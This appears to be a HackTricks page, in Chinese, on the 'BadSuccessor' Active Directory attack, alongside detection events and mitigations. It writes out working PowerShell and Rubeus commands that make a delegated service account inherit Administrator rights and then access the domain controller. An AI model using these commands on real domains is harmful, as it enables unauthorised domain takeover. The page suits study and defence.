BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse

Reading time: 6 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

委派的托管服务账户 (dMSA) 是 gMSA 的下一代继任者,随 Windows Server 2025 发布。 合法的迁移工作流程允许管理员用 dMSA 替换 账户(用户、计算机或服务账户),同时透明地保留权限。 该工作流程通过 PowerShell cmdlets 公开,例如 Start-ADServiceAccountMigrationComplete-ADServiceAccountMigration,并依赖于 dMSA 对象 的两个 LDAP 属性:

  • msDS-ManagedAccountPrecededByLinkDN 链接 到被取代的(旧)账户。
  • msDS-DelegatedMSAState – 迁移状态 (0 = 无, 1 = 进行中, 2 = 已完成)。

如果攻击者可以在 OU 中创建 任何 dMSA 并直接操纵这两个属性,LSASS 和 KDC 将把 dMSA 视为链接账户的 继任者。 当攻击者随后以 dMSA 身份进行身份验证时,他们继承了链接账户的所有权限 – 如果管理员账户被链接,则最高可达 域管理员

该技术在 2025 年被 Unit 42 称为 BadSuccessor。 在撰写时 没有安全补丁 可用;只有加强 OU 权限可以缓解此问题。

攻击前提条件

  1. 一个 被允许组织单位 (OU) 内创建对象的账户 并且 至少具有以下之一:
  • Create ChildmsDS-DelegatedManagedServiceAccount 对象类
  • Create ChildAll Objects (通用创建)
  1. 与 LDAP 和 Kerberos 的网络连接(标准域加入场景 / 远程攻击)。

枚举易受攻击的 OU

Unit 42 发布了一个 PowerShell 辅助脚本,解析每个 OU 的安全描述符并突出显示所需的 ACEs:

powershell
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local

在底层,脚本运行一个分页的 LDAP 搜索 (objectClass=organizationalUnit) 并检查每个 nTSecurityDescriptor 是否具有

  • ADS_RIGHT_DS_CREATE_CHILD (0x0001)
  • Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8 (对象类 msDS-DelegatedManagedServiceAccount)

利用步骤

一旦识别出可写的 OU,攻击只需 3 次 LDAP 写入:

powershell
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"

# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}

# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}

在复制后,攻击者可以简单地 logonattacker_dMSA$ 或请求 Kerberos TGT – Windows 将构建 superseded 账户的令牌。

自动化

几个公共 PoC 包装了整个工作流程,包括密码检索和票证管理:

后期利用

powershell
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>

# Access Domain Admin resources
dir \\DC01\C$

检测与狩猎

在组织单位(OUs)上启用对象审计,并监控以下Windows安全事件:

  • 5137 – 创建dMSA对象
  • 5136 – 修改**msDS-ManagedAccountPrecededByLink**
  • 4662 – 特定属性更改
  • GUID 2f5c138a-bd38-4016-88b4-0ec87cbb4919msDS-DelegatedMSAState
  • GUID a0945b2b-57a2-43bd-b327-4d112a4e8bd1msDS-ManagedAccountPrecededByLink
  • 2946 – dMSA的TGT签发

关联4662(属性修改)、4741(计算机/服务账户创建)和4624(后续登录)可以快速突出BadSuccessor活动。像XSIAM这样的XDR解决方案提供现成的查询(见参考文献)。

缓解措施

  • 应用最小权限原则 – 仅将服务账户管理委派给受信任的角色。
  • 从不明确需要的OUs中移除Create Child / msDS-DelegatedManagedServiceAccount
  • 监控上述事件ID,并对创建或编辑dMSA的非Tier-0身份发出警报。

另见

Golden Dmsa Gmsa

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks